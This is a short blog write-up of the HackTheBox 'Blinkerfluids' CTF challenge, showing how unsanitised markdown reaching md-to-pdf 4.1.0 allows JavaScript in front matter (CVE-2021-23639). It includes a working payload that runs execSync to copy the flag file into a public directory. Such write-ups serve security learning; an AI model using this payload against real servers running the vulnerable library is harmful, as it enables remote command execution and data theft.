HTB CTF - Blinkerfluids writeup

blog

·  

projects

·  

github

·  

cv

 

#ctf-writeup

A fairly simple solve. The site doesn’t have much functionality and the only input is the ability to use markdown to create an invoice.

Even though the generated invoice weren’t viewable in the app, viewing the source code showed they were available under /static/invoices/<uuid>.pdf.

.
├── build-docker.sh
├── challenge
│   ├── database.js
│   ├── helpers
│   │   └── MDHelper.js
│   ├── index.js
│   ├── invoice.db
│   ├── package.json
│   ├── routes
│   │   └── index.js
│   ├── static
│   │   ├── css
│   │   │   ├── bootstrap.min.css
│   │   │   ├── easymde.min.css
│   │   │   └── main.css
│   │   ├── images
│   │   │   └── favicon.png
│   │   ├── invoices
│   │   │   └── <uuid>.pdf
│   │   └── js
│   │       ├── easymde.min.js
│   │       ├── jquery-3.6.0.min.js
│   │       └── main.js
│   └── views
│       └── index.html
├── config
│   └── supervisord.conf
├── Dockerfile
├── exploit.txt
└── flag.txt

The source shows that the markdown content is passed unsanitised to makePDF.

router.post('/api/invoice/add', async (req, res) => {
    const { markdown_content } = req.body;

    if (markdown_content) {
        return MDHelper.makePDF(markdown_content)
            .then(id => {

MDHelper.js requires md-to-pdf, and the package.json reveals the version to be 4.1.0. A quick Google search later takes us to CVE-2021-23639, a vulnerability allowing Javascript to be run in the front matter of the markdown.

---js
(1+1;)
---

To get the flag I first tried cating the flag into the pdf, which didn’t work.

Next, I spend some time faffing trying to get a reverse shell to work.

Finally, my brain woke up and I realised I could just cat the flag to a readable directory (./static/invoices/).

---js
((require("child_process")).execSync("cat /flag > ./static/invoices/flag.txt"))
---